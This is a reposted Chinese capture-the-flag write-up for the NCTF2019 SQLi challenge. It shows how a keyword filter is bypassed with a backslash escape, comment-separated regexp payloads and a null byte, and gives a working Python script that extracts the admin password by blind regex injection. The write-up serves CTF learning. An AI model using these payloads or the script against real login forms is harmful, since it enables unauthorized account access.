首页 > 数据库> 文章详细

[NCTF2019]SQLi-1||SQL注入

2022-08-03 00:02:13 阅读：209 来源： 互联网

标签：00 name 密码 passwd 获取 NCTF2019 SQLi SQL 如下

1、打开之后首先尝试万能密码登录和部分关键词（or、select、=、or、table、#、-等等）登录，显示被检测到了攻击行为并进行了拦截，结果如下：

2、使用dirmap进行目录扫描，发现robots.txt文件，结果如下：

3、访问robots.txt文件，发现hint.txt文件并进行访问，发现提示信息和过滤的一堆关键字，结果如下：

4、获得提示信息，如果passwd的值等于admin的密码则登录成功，但是admin也被过滤了，这里想到了做的上一个sql注入题：https://www.cnblogs.com/upfine/p/16527723.html，采用的是正则表达式来获取flag的值，因此这里在select等关键字被过滤的情况下，这里也可以使用正则表达式来匹配admin的密码进而来获取flag值，确定获取密码的方式之后就需要确定注入点，来使用正则表达式来逐步获取密码的值，这里想到了对name中的第二个字符进行转义，使后面的' and passwd=成为name的内容，payload：name：\，passwd：||/**/1;%00，观察返回的数据包发现与之前返回的不同，确定注入点存在，结果如下：

5、确定注入点存在位置后就根据分析采用正则表达式进行匹配，payload：name：\，passwd：||/**/passwd/**/regexp/**/"^a";%00，手工结果如下：

6、确定第一位后那就确定第二位，payload：name：\，passwd：||/**/passwd/**/regexp/**/"^yo";%00，结果如下：

7、手工过程就这样一步一步获取密码信息，当然手工看看就行了，实际还得是通过脚本来获取密码信息，代码和结果如下：

脚本代码：

import requests
from urllib import parse
import time

#跑出密码后发现没有大写字母，因此就去掉了大写字母，可手动加上，ABCDEFGHIJKLMNOPQRSTUVWXYZ
strings = 'abcdefghijklmnopqrstuvwxyz1234567890_{}-~'
url = 'http://a58a046b-e948-4bf4-8622-7df7271753ca.node4.buuoj.cn:81'
passwd = ''
i = 1
while i < 80:
    for one_char in strings:
        data = {
            'username':'\\',
            'passwd':'||/**/passwd/**/regexp/**/\"^'+passwd+one_char+'\";'+parse.unquote('%00')
        }
        rs = requests.post(url,data).content.decode('utf-8')
        time.sleep(0.01)
        if 'welcome' in rs:
            passwd = passwd + one_char
            print("\r", end="")
            print('已匹配到前'+str(i)+'位'+' | '+str(passwd),end='')
            i = i + 1
            break
        if one_char=='~' and 'welcome' not in rs:
            print('\n密码共'+str(i-1)+'位，已匹配完成')
            i = 80
            break

密码值：you_will_never_know7788990，如下：

8、获取到admin的密码后，随便输入一个用户名并使用这个密码进行登录成功获取到flag值，结果如下：

9、注意：

脚本可以适当的修改延时时间，如果使用时报错，那就从新跑一下或修改下延时时间。

payload不要带上了空格，空格也被过滤了。

标签：00,name,密码,passwd,获取,NCTF2019,SQLi,SQL,如下
来源： https://www.cnblogs.com/upfine/p/16545379.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

ICode9

[NCTF2019]SQLi-1||SQL注入